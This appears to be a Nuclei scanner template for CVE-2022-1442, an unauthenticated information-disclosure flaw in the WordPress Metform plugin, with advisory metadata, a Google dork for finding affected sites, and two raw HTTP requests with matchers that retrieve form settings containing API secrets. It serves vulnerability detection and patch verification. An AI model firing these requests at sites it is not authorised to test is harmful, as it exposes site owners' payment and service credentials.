WordPress Metform <=2.1.3 - Information Disclosure

id: CVE-2022-1442

info:
  name: WordPress Metform <=2.1.3 - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Upgrade to the latest version of the Metform plugin (>=2.1.4) to fix the information disclosure vulnerability.
  reference:
    - https://gist.github.com/Xib3rR4dAr/6e6c6e5fa1f8818058c7f03de1eda6bf
    - https://wpscan.com/vulnerability/9f3fcdd4-9ddc-45d5-a4af-e58634813c2b
    - https://wordpress.org/plugins/metform/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1442
    - https://plugins.trac.wordpress.org/changeset/2711944/metform/trunk/core/forms/action.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1442
    cwe-id: CWE-862
    epss-score: 0.09699
    epss-percentile: 0.94929
    cpe: cpe:2.3:a:wpmet:metform_elementor_contact_form_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: metform_elementor_contact_form_builder
    framework: wordpress
    google-query: inurl:/wp-content/plugins/metform
  tags: cve,cve2022,wpscan,wordpress,wp-plugin,disclosure,unauth,metform,wp,wpmet,vuln

http:
  - raw:
      - |
        GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "mf_recaptcha_secret_key"
          - "admin_email_from"
        condition: and

      - type: word
        part: header_2
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - '<option value=\"([0-9]+)\"'
        internal: true
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